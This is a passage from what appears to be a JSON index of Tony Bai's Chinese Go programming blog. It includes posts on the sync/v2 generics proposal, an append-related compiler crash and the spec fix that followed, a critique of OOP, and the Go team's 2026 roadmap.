的提案，就是要通过泛型彻底解决这些问题。\nsync/v2 的新面貌：类型安全与 API 进化 根据提案，sync/v2 将不仅是 sync 的泛型翻版，它还趁机对 API 进行了现代化的打磨。\nMap[K, V]：终于等到了你 新的 sync.Map 将拥有两个类型参数 K (comparable) 和 V (any)。\n// sync/v2 type Map[K comparable, V any] struct { ... } // 方法签名变得清晰且类型安全 func (m *Map[K, V]) Load(key K) (value V, ok bool) func (m *Map[K, V]) Store(key K, value V) 此外，提案还计划顺应时代潮流，移除了老旧的 Range 方法，取而代之的是返回迭代器的 All 方法：\nfunc (m *Map[K, V]) All() iter.Seq2[K, V] Pool[T]：更安全的资源复用 sync.Pool 的改造稍微复杂一些。目前的 Pool 有一个导出的 New 字段，这很容易被误用。v2 版的提案曾经历过一次修改，最终方案倾向于移除导出的 New 字段，转而通过构造函数来设定：\ntype Pool[T any] struct { ... } // 通过构造函数传入创建新对象的逻辑 func NewPool[T any](newf func() T) *Pool[T] func (p *Pool[T]) Get() T func (p *Pool[T]) Put(x T) 社区的激辩：v2 真的必要吗？ 提案虽然诱人，但也引发了社区关于 Go 语言演进哲学的激烈讨论。\n反方：分裂生态的担忧\n有声音质疑：sync 包的大部分类型（如 Mutex, WaitGroup, Once）并不需要泛型。如果为了 Map 和 Pool 而引入整个 sync/v2，会不会导致生态分裂？以后我们是不是要在同一个项目里同时维护 v1 和 v2 的锁？\n对此，Ian Lance Taylor 及其支持者给出的方案是：sync/v2 将包含 sync 包的所有类型。对于不需要泛型的类型（如 Mutex），通过类型别名 (Type Alias) 将其指向 v1 版本，或者保持 API 完全一致。这样，用户可以平滑迁移，最终完全切换到 v2，而无需混用。\n正方：性能与体验的刚需\n支持者们（包括 Brad Fitzpatrick）则指出，泛型带来的性能提升和开发体验改善是巨大的。特别是对于 Pool[[]byte] 这样的高频场景，避免每次 Put/Get 时的切片头分配，是实打实的性能红利。\n小结：不仅是代码的升级，更是理念的升级 sync/v2 的提案目前仍在活跃讨论中，尚未尘埃落定。但它释放了一个明确的信号：Go 团队正在审慎而坚定地推动标准库的现代化。\n对于我们 Gopher 而言，这意味着：\n拥抱泛型：这不再是尝鲜，而很可能是未来的标准范式。 关注性能：标准库的升级将带来免费的性能提升，特别是对于重度依赖 sync.Map 和 sync.Pool 的项目。 准备迁移：虽然 Go 承诺兼容性，但 v2 包的引入意味着我们需要开始思考如何优雅地过渡。 Brad Fitzpatrick 的“等不及”或许代表了许多资深开发者的心声。让我们拭目以待，看 sync/v2 将如何重塑 Go 的并发编程体验。\n你的选择是？\n面对 sync/v2 带来的泛型红利和潜在的迁移成本，你更倾向于第一时间拥抱它，还是持观望态度？在你的项目中，sync.Map 或 sync.Pool 的性能瓶颈是否真的困扰过你？\n欢迎在评论区留下你的看法，让我们一起探讨 Go 标准库的未来！\n","permalink":"https://tonybai.com/2025/12/01/proposal-sync-v2/","summary":"\u003ch1 id=\"brad-fitzpatrick-也等不及了syncmap-的泛型进化与-syncv2-的诞生之路---tony-bai\"\u003eBrad Fitzpatrick 也等不及了！sync.Map 的泛型进化与 sync/v2 的诞生之路 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Brad Fitzpatrick 也等不及了！sync.Map 的泛型进化与 sync/v2 的诞生之路"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/30/ice-assertion-failed-with-append\n大家好，我是Tony Bai。\n在软件开发中，我们有时会遇到一些“显而易见”的错误。对于 Go 开发者而言，append 内建函数的第一个参数必须是切片，似乎就是这样一个“常识”。然而，当一个本应产生清晰编译错误的“常识性”错误，却导致了 Go 1.25.4 编译器的内部崩溃 (Internal Compiler Error, ICE) 时，事情就变得不再简单。\n近期，Go 社区报告的一个 Bug (#76220) 和 Go 核心团队的后续跟进 (#76226)，为我们上演了一出精彩的“技术侦探剧”。这个故事不仅关乎一个 Bug 的修复，更深刻地揭示了 Go 语言规范的演进哲学：在语言的设计中，没有不言自明的“常识”，只有需要被精确定义的“规范”。\n案发现场：一个“不该发生”的内部编译器错误 (ICE) 故事始于一位开发者 (@anderseknert) 在重构代码时，无意中写下了一段临时性的、显然无效的代码：\npackage main func main() { s := \u0026#34;hello\u0026#34; // 错误：append 的第一个参数是 untyped nil，而非 slice msg := append(nil, s...) print(msg) } 所有 Gopher 都知道这段代码不应该通过编译。事实上，在 Go 1.24 中，编译器会给出一个清晰、正确的错误提示：\nfirst argument to append must be a slice; have untyped nil 然而，在 Go 1.25.4 中，同样的代码却导致了编译器自身的恐慌 (panic)，抛出了一个致命的内部编译器错误 (ICE)。这是一个严重的回归 (Regression)，因为它破坏了工具链的健壮性：\n$go run main.go # command-line-arguments \u0026lt;unknown line number\u0026gt;: internal compiler error: panic: cmd/compile/internal/types2/builtins.go:1093: assertion failed Please file a bug report including a short program that triggers the error. https://go.dev/issue/new 从修复 Bug 到修正规范：Griesemer 的深层思考 Go 核心团队的 Robert Griesemer 迅速认领并修复了这个 Bug。然而，他并没有止步于此。在修复的过程中，他敏锐地洞察到了这个 Bug 能够产生的深层原因——Go 语言规范中一处极其微妙的文本歧义。\n他为此创建了一个新的 issue (#76226)，专门探讨 append 特殊用法的规范描述问题。\n规范中的“漏洞” append 有一个广为人知的特殊用法：可以将一个 string 的内容追加到一个 []byte 切片后。Go 语言规范中对这个特殊情况的描述（旧版）是：\nAs a special case, append also accepts a first argument assignable to type []byte with a second argument of string type…\n(作为一个特例，append 也接受一个可赋值给 []byte 类型的第一个参数，以及一个字符串类型的第二个参数…)\nGriesemer 指出，问题就出在这里：在 Go 中，预声明的标识符 nil 是可以赋值给任何切片类型的，包括 []byte。\n因此，如果一个开发者（或者未来的 AI 代码生成器）严格地、像解析法律条文一样去解读这段规范，他完全有可能得出一个“合乎逻辑”的结论：append(nil, “string”…) 应该是合法的！\n这种规范文本与编译器实际行为之间的“缝隙”，正是滋生 Bug 和混乱的温床。\n“滴水不漏”的修正案 为了彻底消除这种歧义，Griesemer 提交了一份对语言规范的修改提案。\n旧版描述:\n…accepts a first argument assignable to type []byte…\n新版描述 (Go 1.26):\n…accepts a slice whose type is assignable to type []byte…\n(…接受一个其类型可赋值给 []byte 的切片…)\n这个改动极其微小，但意义重大。它通过明确加入 “slice” (切片) 这个词，将隐含的“常识”变成了明确的“规则”，从根本上堵住了任何可能的误读。\n对 Go 开发者的影响与启示 这个从 Bug 修复到规范修正的完整闭环，为我们揭示了 Go 社区和核心团队工作的几个重要侧面：\n严谨性高于一切：Go 团队追求的，不仅仅是让编译器“在大多数情况下做对的事”，而是让语言的规范、实现和用户直觉三者之间，达到尽可能的统一和精确。 社区报告的价值：一个开发者在日常工作中遇到的工具链崩溃，只要被清晰地报告出来，就可能成为推动语言本身进步的催化剂。这体现了 Go 社区开放、协作的强大力量。 Go 是一部“活的法典”：Go 语言规范并非一成不变的石碑。它在社区的共同监督和核心团队的精心维护下，持续地、审慎地进行着自我完善，以追求更高的清晰度和健壮性。 小结：简单背后，是极致的严谨 append(nil, “string”…) 的故事，是 Go 语言演进哲学的一次完美缩影。它始于一个看似简单的编译器 Bug，最终却升华为对语言核心规范的一次“精炼提纯”。\n这个过程告诉我们，Go 语言之所以能够在大规模工程中表现出强大的可靠性，不仅仅因为它拥有 goroutine 或 channel 等明星特性，更在于其背后，有一个对语言精确性抱有近乎“偏执”追求的团队和社区。\n正是这种对每一个细节、每一个词语的反复推敲，才共同铸就了 Go 语言那“于细微处见真章”的工程之美。\n资料链接：\nhttps://github.com/golang/go/issues/76226 https://github.com/jamlee-t/go/commit/5241d114f55cfa69a4bf8f2051f5d83d1f618859 聊聊你遇到的“诡异”Bug\n这个由append引发的故事，让我们看到了细节的重要性。你在日常开发中，是否也曾遇到过某个让你“怀疑人生”、最终发现是源于对语言规范理解偏差的Bug？或者，你对Go语言规范的严谨性有什么特别的体会？\n欢迎在评论区分享你的“探案”经历！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/30/ice-assertion-failed-with-append/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/ice-assertion-failed-with-append-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/30/ice-assertion-failed-with-append\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/30/ice-assertion-failed-with-append\"\u003ehttps://tonybai.com/2025/11/30/ice-assertion-failed-with-append\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在软件开发中，我们有时会遇到一些“显而易见”的错误。对于 Go 开发者而言，append 内建函数的第一个参数必须是切片，似乎就是这样一个“常识”。然而，当一个本应产生清晰编译错误的“常识性”错误，却导致了 Go 1.25.4 编译器的内部崩溃 (Internal Compiler Error, ICE) 时，事情就变得不再简单。\u003c/p\u003e","title":"Go 编译器崩溃背后：一个 append 函数引发的语言规范修正案"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/29/oop-the-worst-thing-that-happened-to-programming\n大家好，我是Tony Bai。\nErlang 之父 Joe Armstrong 曾提出了一个关于面向对象编程（OOP）的、流传甚广的深刻比喻：\n“你想要一根香蕉，但你得到的却是一只拿着香蕉的猴子，以及整片丛林。”\n这个比喻辛辣地讽刺了 OOP 中继承（Inheritance）等机制带来的强耦合与不必要的复杂性。近日，一篇由 Alexander Danilov 撰写的、题为《OOP：编程史上发生的最糟糕的事》的文章，则以一种更系统、更“檄文”式的方式，为我们详细解剖了这只“猴子”和这片“丛林”的构成。\nDanilov 的文章，如同一份详细的“丛林勘探报告”，迫使我们重新审视，我们最初只是想要的那根香蕉（代码复用），是如何让我们不知不觉地，深陷于一片由类、继承和“魔法”构成的、盘根错节的“优雅”陷阱之中的。\n想要香蕉，却来了只猴子 (继承的“原罪”) 故事始于一个最简单的愿望：代码复用。Danilov 在文章中展示了一个典型的场景：我们有一个 User 类，现在想创建一个 Npc（非玩家角色），它也需要 User 的 name 和 surname 字段。\n在 OOP 的世界里，最“优雅”的做法就是继承。\n// OOP - Inheritance (Danilov\u0026#39;s example) class User { id: string name: string surname: string address: string friends: User[] // ... a dozen other fields and methods ... } // “优雅\u0026#34;的陷阱：为了得到 name 和 surname (香蕉)， // 我们被迫继承了 User 的全部 (猴子) class Npc extends User { constructor(name: string, surname: string) { // 我们被迫为那些根本不需要的字段提供空值 super(name, surname, \u0026#34;\u0026#34;, []) } } 我们成功地拿到了香蕉，但代价是，我们必须同时领养一只我们不想要的猴子——User 的所有其他字段和方法，如 address, friends 等。这只猴子不仅增加了我们代码的认知负荷，更在内存中占用了不必要的空间。\nDanilov 指出，与之相对，函数式/组合式的思路则要直接得多：\n// FP/Composition type BaseUser = { id: string; name: string; surname: string } type User = BaseUser \u0026amp; { address: string; friendIds: string[] } type Npc = BaseUser // Npc 只是 BaseUser 的一个别名 通过组合而非继承，我们可以像搭乐高积木一样，精确地选择自己需要的“零件”（香蕉），而不会被迫带上任何多余的“猴子”。\n猴子带来了它的朋友们 (方法的强耦合) Danilov 的批判并未止步于继承。他将矛头直指 OOP 的另一个核心——实例方法 (Instance Method)。他认为，一个实例方法，本质上就是一个被“绑架”了的函数，它的第一个参数被隐式地、硬编码地绑定到了一个特定的类实例 (this) 上。\n这场“绑架”，直接导致了方法的可重用性极差。一个 User 类的 getDisplayName() 方法，无法被一个同样拥有 name 字段的 Dog 对象复用。方法与其所属的类（猴子）形成了不可分割的共生关系。\n更糟糕的是，Danilov 还展示了 OOP 语言为了管理这种绑定关系而发明的、迷宫般复杂的重写 (Override) 规则（如 C# 中的 virtual, override, sealed），他讽刺道：“想出这个的人，显然觉得 OOP 中‘搬起石头砸自己脚’的方法还不够多。”\n为了管理猴群，我们建了座丛林 (设计模式与 DI 容器) 当我们的代码库里充满了各种各样的猴子（类），它们之间有着复杂的亲缘关系（继承链）和社交网络（依赖关系）时，事情开始失控。于是，为了“优雅”地管理这群日益庞大的猴子，我们开始建造一座丛林。\nDanilov 对这座“丛林”的构成进行了无情的剖析：\n设计模式 (Design Patterns)：他认为，绝大多数 GoF 的设计模式，都并非普适的智慧，而只是在 OOP 的种种限制下，为了实现本应简单的功能而发明的、复杂的**“变通方案”** 或“拐杖”。例如，“装饰器模式”就是为了在无法使用继承时，动态地为对象添加功能。\n依赖注入容器 (DI Containers)：这是丛林里最“魔法”的部分。Danilov 回忆起他第一次面试 C# 时遇到的那段“童年阴影”代码，其中一个类的实例，通过静态构造函数和静态字段“自我创建”。他当时就感到困惑：“人类的大脑是如何以及为何会想出这种东西？” 后来他才明白，这只是通往 DI 容器“更深层魔法”的第一步。当一个 @Service 或 @Inject 注解就能让一个实例“凭空出现”时，你就失去了对程序启动和依赖关系最宝贵的洞察力——可预测性。当系统出错时，我们如同在伸手不见五指的丛林里，根本不知道那根有毒的香蕉，究竟是从哪棵树上掉下来的。\n走出丛林 —— Go 语言的“反叛”与“重构” 在这场关于“香蕉、猴子与丛林”的寓言中，Go 语言扮演了一个“破局者”的角色。Danilov 在文章的最后，也将 Go 列为值得推荐的现代语言之一，正是因为它在设计上，系统性地回应并解决了 OOP 的诸多“原罪”。\nGo 的方式并非简单粗暴地全盘否定，而是一种深刻的**“反叛”与“重构”**：它保留了 OOP 中部分有价值的表象（如 . 点号调用），却在底层彻底重构了其实现哲学。\n没有继承，只有组合：直接砍掉“猴子” 这是 Go 最彻底的“反叛”。Go 完全废除了类型间的继承。取而代之的是更灵活的结构体嵌入 (Embedding)。你可以将一个 Nameable 结构体（香蕉）嵌入到 User 和 Npc 中，精确地实现复用，而不会被迫带上任何多余的“猴子”。这正是“组合优于继承”原则在语言层面的终极体现。\n没有类，但有方法：将“被绑架的函数”解放出来 Go 确实有方法 (Method)。然而，Go 的方法与 OOP 的实例方法，在哲学上有着根本性的不同。\n在 OOP 中，方法是类定义的一部分，与数据紧密耦合。 在 Go 中，方法是通过 func (receiver T) MethodName() 的语法，“附加”到一个类型上的。数据 (struct) 和行为 (func) 在定义上是分离的。 这种“分离”的设计，使得 Go 的方法更像是一个以 receiver 作为第一个参数的、被赋予了特殊“点号调用”语法糖的普通函数。\n它巧妙地实现了“两全其美”：\n保留了便利性：我们依然可以写出 user.GetDisplayName() 这样符合直觉的代码。 获得了灵活性：由于底层仍是函数，它鼓励我们思考更通用的、基于接口而非具体类型的解决方案，从而避免了 OOP 方法的强耦合问题。 隐式的、非侵入式的接口：重新定义“多态” Go 的接口设计，是对传统 OOP 接口（如 Java 的 implements）的一次彻底革命。\n在传统 OOP 中，一个类必须在定义时就明确声明它要实现哪个接口。这是一种侵入式的、预先绑定的关系。 在 Go 中，接口的实现是隐式的、非侵入式的。任何类型，只要它拥有一个接口所要求的所有方法，它就自动地、在事后满足了这个接口。 这种设计带来了巨大的灵活性，使得我们可以为任何（甚至是来自第三方库的）类型，定义我们自己的接口，而无需修改其源代码。这是对“依赖倒置原则”的终极实践。\n拒绝“魔法”，拥抱显式 Danilov 所批判的 DI 容器和各种“魔法”，在 Go 的世界里几乎没有生存的土壤。\nGo 的依赖管理就是简单的 import。一个包的 API，就是它导出的所有函数、类型和变量。一切都是显式的、可被静态分析的，没有注解驱动的“自动装配”，也就没有了那片需要“魔法”才能导航的丛林。\nDanilov 引用了 Java 之父 James Gosling “后悔加入类”的传闻，以及 Linus Torvalds 禁止在 Linux 内核中使用 C++ 的决定，来佐证他的观点。而 Go 语言，似乎正是这些“巨人”反思的结晶。\nGo 语言并非简单地回归到 C 语言那样的纯粹过程式编程。它更像是一位高明的外科医生，精准地解剖了 OOP 这具“巨人”的尸体，剔除了其中已经腐坏的组织（如继承），重构并解放了其依然有活力的器官（如方法和接口），最终创造出了一个更简单、更健壮、也更符合现代工程实践的新物种。\n小结：简单，才是终极的优雅 Danilov 的文章，以一种辛辣而深刻的方式，揭示了 OOP 所承诺的“优雅”，在数十年的实践中，是如何常常演变成一个诱人的陷阱。它以“模拟现实世界”为名，引导我们构建起复杂的继承体系和对象网络，最终将我们自己困在了这片由“香蕉、猴子和丛林”组成的、难以维护的复杂性之中。\n而 Go 语言的故事，则是一个关于“回归”的故事。它没有试图发明更聪明的“魔法”来隐藏复杂性，而是选择从根源上消除复杂性。\n它提醒我们，真正的优雅，并非来自于那些能够驾驭复杂丛林的精巧工具，而是来自于从一开始，就选择不走进那片丛林的智慧。\n资料链接：https://alexanderdanilov.dev/en/articles/oop\n聊聊你的“OOP”爱恨情仇：\n你是否也在项目中遇到过“香蕉、猴子和整片丛林”的困境？ 你认为OOP在哪些场景下依然是“最优解”？ 对于像Go/Rust等新一代编程语言的“反叛”与“重构”，你有哪些认同或不同的看法？ 欢迎在评论区留下你的思考与争鸣，让我们一起探寻更优雅的编程之道！\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/29/oop-the-worst-thing-that-happened-to-programming/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/oop-the-worst-thing-that-happened-to-programming-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/29/oop-the-worst-thing-that-happened-to-programming\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/29/oop-the-worst-thing-that-happened-to-programming\"\u003ehttps://tonybai.com/2025/11/29/oop-the-worst-thing-that-happened-to-programming\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eErlang 之父 Joe Armstrong 曾提出了一个关于面向对象编程（OOP）的、流传甚广的深刻比喻：\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e“你想要一根香蕉，但你得到的却是一只拿着香蕉的猴子，以及整片丛林。”\u003c/strong\u003e\u003c/p\u003e","title":"“香蕉、猴子和整片丛林”：我们是否深陷于 OOP 的“优雅”陷阱？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/28/go-2026-roadmap-revealed\n大家好，我是Tony Bai。\n在最近的一期 Go 编译器与运行时团队会议纪要中，我们惊喜地发现了一份关于 2026 年的规划 (2026 planning，如下图)。这份规划虽然简短，但其包含的信息量却足以让任何一位关注 Go 语言未来的开发者心跳加速。\n从榨干硬件潜能的 SIMD 和运行时手动内存释放(runtime.free)，到呼声极高的泛型方法(generic method)与联合类型(union type)，再到彻底解决交叉编译痛点的无 C 工具链 CGO，Go 团队正密谋着一场关于性能、表达力与工程体验的全方位变革。\n本文将结合最新的设计文档、CL (Change List) 记录和社区核心 Issue，和大家一起解析一下这份 Go 2026 路线图背后的技术细节与战略意图。\n性能的极限突围 —— 榨干硬件的每一滴油水 一直以来，Go 在性能上的策略都是“足够好”。但在 2026 规划中，我们看到了 Go 团队向“极致性能”发起的冲锋，目标直指 AI、科学计算和高频交易等对延迟极度敏感的领域。\nSIMD：从“汇编黑魔法”到“原生公民” 关键词：SIMD (ARM64, scalable vectors \u0026amp; high-level API) 解读： 现状：目前在 Go 中使用 SIMD（单指令多数据）主要依赖手写汇编，不仅难以维护，而且无法被编译器内联优化，甚至会阻碍异步抢占。 变革：规划明确提出了 “high-level API”。这意味着 Go 将提供一套原生的、类型安全的 SIMD 库。开发者可以用纯 Go 代码编写向量化算法，由编译器自动映射到底层的 AVX-512 (x86) 或 NEON/SVE (ARM) 指令。 Scalable Vectors：特别提到的“可伸缩向量”，直指 ARM64 的 SVE (Scalable Vector Extension) 技术。这将允许同一份 Go 二进制代码，在不同向量长度（128位到2048位）的硬件上自动适配，实现性能的“线性扩展”，这对于 AI 推理场景至关重要。 进展：在2026年初发布的Go 1.26中，Cherry Mui 提交的关于 Architecture-specific SIMD intrinsics 的提案将以GO实验特性落地，这意味着Go开发者将拥有原生的simd包实现，目前这一工作已在紧锣密鼓地进行中。 runtime.free：打破 GC 的“金科玉律” 关键词：runtime.free, Specialized malloc 解读：这是一个颠覆性的变化。Go 一直以自动 GC 著称，但在极致性能场景下，GC 的 CPU 和 STW 开销仍是瓶颈。 显式释放：根据设计文档 《Directly freeing user memory to reduce GC work 》和相关 CL (如 CL 673695)，runtime.freegc 允许将不再使用的堆内存立即归还给分配器，供后续重用，而完全绕过 GC 扫描。 编译器辅助：这并非让用户手动管理内存（那样太不安全）。Go 的愿景是让编译器通过逃逸分析和生命周期分析，自动插入 free 调用。例如，在 strings.Builder 的扩容过程中，旧的 buffer 可以被立即释放。 实测数据：在早期的原型测试中，优化后的 strings.Builder 性能提升了 2 倍！配合针对无指针对象 (noscan) 优化的专用分配器 (Specialized malloc)，Go 的临时对象分配性能将逼近栈分配。 可伸缩性的新高度 —— 拥抱超多核时代 随着 CPU 核心数向 128 核甚至更高迈进，传统的并发模式开始遇到“扩展性墙”。Go 2026 规划给出了一套组合拳。\n分片值 (Sharded Values) 关键词：Sharded values 痛点：在高并发场景下，对同一个全局计数器或 sync.Pool 的访问，会导致严重的缓存行争用 (Cache Line Contention)，让多核优势荡然无存。 解决方案：Go团队提出一个名为sync.Sharded 的提案(详见 Issue #18802)，sync.Sharded 旨在提供一种**“每 P (Processor) 本地化”**的数据结构。 无锁读写：每个 P 只操作自己本地的分片，完全无锁，零竞争。 按需聚合：只在需要读取总值时，才遍历所有分片进行聚合。 这比现有的 sync.Map 或 atomic 操作在高核数机器上将有数量级的性能提升。 调度亲和性 (Scheduling Affinity) 关键词：Scheduling affinity 解读：Go 调度器的“工作窃取”机制虽然平衡了负载，但也导致 Goroutine 经常在不同 CPU 核心间“漂移”，破坏了 L1/L2 缓存的热度。 新机制：在 Issue #65694中，Go团队 计划引入一种机制，允许将一组相关的 Goroutine “绑定” 或 “倾向” 于特定的 P 或 NUMA 节点。这对于数据库、高频交易系统等缓存敏感型应用是巨大的利好，能显著减少 LLC (Last Level Cache) Miss。 内存区域 (Memory Regions) 关键词：Memory regions 解读：在 Arena试验失败后，Michael Knyszek发起了一个名为Memory regions方案的讨论（具体见 Discussion #70257)，其核心思想是，通过一个 region.Do(func() { … }) 调用，将一个函数作用域内的所有内存分配隐式地绑定到一个临时的、与 goroutine 绑定的区域中。这个优雅设计的背后，是极其复杂的实现。它需要在开启区域的 goroutine 中启用一个特殊的、低开销的**写屏障（write barrier）**来动态追踪内存的逃逸。虽然理论上可行，但其实现复杂度和潜在的性能开销，使其成为一个长期且充满不确定性的研究课题。在2026年，Go团队要在这个方案上有所突破，依旧任重道远。 语言表达力的觉醒 —— 填补泛型后的最后拼图 在泛型落地后，Go 社区对语言特性的渴望并未止步。规划中提到的几个特性，将进一步提升 Go 的表达力。\n泛型方法 (Generic Methods) 关键词：generic methods 背景：这是泛型引入后最大的遗憾之一。目前 Go 不支持在接口方法或结构体方法中定义额外的类型参数。 展望：参考 Issue #49085，尽管实现难度极大（涉及运行时字典传递或单态化膨胀），但核心团队将其列入规划，表明他们正在寻找突破口。一旦实现，像 Stream.Map[T, U](func(T) U) 这样流畅的链式调用将成为可能。 联合类型 (Union Types) 关键词：union type 解读：参考 Issue #19412，这不仅仅是泛型约束中的 A | B。真正的联合类型（类似 Rust 的 Enum 或 TypeScript 的 Union）可以让 Go 拥有更强大的模式匹配能力。配合可能的 match 语法，它将彻底改变 Go 的错误处理和状态机编写方式，使其更安全、更简洁。 Tensor (?) —— AI 时代的入场券 关键词：maybe tensor (?) 解读：这个带问号的项充满了想象力。它暗示 Go 团队可能正在严肃考虑为 AI/ML 工作负载提供原生的多维数组支持。如果 Go 能在语言层面原生支持高效的 Tensor 操作和自动微分，它将有资格挑战 Python 在 AI 基础设施领域的统治地位。当然这一切还只是猜测。 工具链革命 —— 无痛 CGO 无 C 工具链的 CGO (CGO without C toolchain) 关键词：cgo without C toolchain 痛点：目前启用 CGO 就意味着必须安装 GCC/Clang，且失去了跨平台交叉编译的便利性（CGO_ENABLED=0 是多少 Gopher 的无奈之选）。 解决方案：Go 团队的目标是实现**“纯 Go 的 C 交互”**。这可能通过两种路径实现： 运行时加载：类似 purego，在运行时动态加载共享库并调用，无需编译期链接。 内置微型链接器：Go 编译器直接解析 C 头文件并生成调用代码。 无论上述哪种方式，或是其他方式，一旦实现，“Write once, compile anywhere” 的承诺将在 CGO 场景下也得以兑现。 Wasm 栈切换 关键词：Wasm stack switching 解读：这是为了更好地支持 Go 在浏览器中的异步模型。通过栈切换（Stack Switching），Go 可以更高效地挂起和恢复 Wasm 的执行，从而与 JavaScript 的 Promise 和 async/await 机制无缝互操作，显著减小 Wasm 产物的体积并提升性能。 小结：性能与表达力的双重飞跃 看完这份 2026 路线图，我们不禁感叹：Go 语言正在经历它的**“成人礼”**。\n在性能上，它不再满足于“够用”，而是通过 SIMD、手动内存管理和亲和性调度，向 C/C++ 统治的“极致性能领域”发起冲击。 在表达力上，它正在补齐泛型后的最后短板，通过泛型方法和联合类型，让代码更优雅、更安全。 在体验上，它致力于抹平 CGO 和交叉编译的最后一道坎。 这是一个野心勃勃的计划。如果这些特性在 2026 年真地能如期落地，Go 将不再仅仅是“云原生的语言”，它将成为一个全能、极致、且依旧简单的通用计算平台。\n参考资料 Go compiler and runtime meeting notes – https://github.com/golang/go/issues/43930#issuecomment-3576250284 Directly freeing user memory to reduce GC work – https://go.dev/design/74299-runtime-freegc runtime, cmd/compile: add runtime.freegc and runtime.freegcTracked to reduce GC work – https://github.com/golang/go/issues/74299 715761: runtime: support runtime.freegc in size-specialized mallocs for noscan objects – https://go-review.googlesource.com/c/go/+/715761 simd: architecture-specific SIMD intrinsics under a GOEXPERIMENT – https://github.com/golang/go/issues/73787 proposal: sync: support for sharded values – https://github.com/golang/go/issues/18802 runtime: stronger affinity between G ↔ P ↔ M ↔ CPU? – https://github.com/golang/go/issues/65694 https://github.com/golang/go/discussions/70257 – https://github.com/golang/go/discussions/70257 Region-based memory management – https://en.wikipedia.org/wiki/Region-based_memory_management proposal: spec: add sum types / discriminated unions – https://github.com/golang/go/issues/19412 proposal: spec: allow type parameters in methods – https://github.com/golang/go/issues/49085 还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/28/go-2026-roadmap-revealed/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-2026-roadmap-revealed-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/28/go-2026-roadmap-revealed\"\u003e本文永久链接\u003c/a\u003e – \u003ca 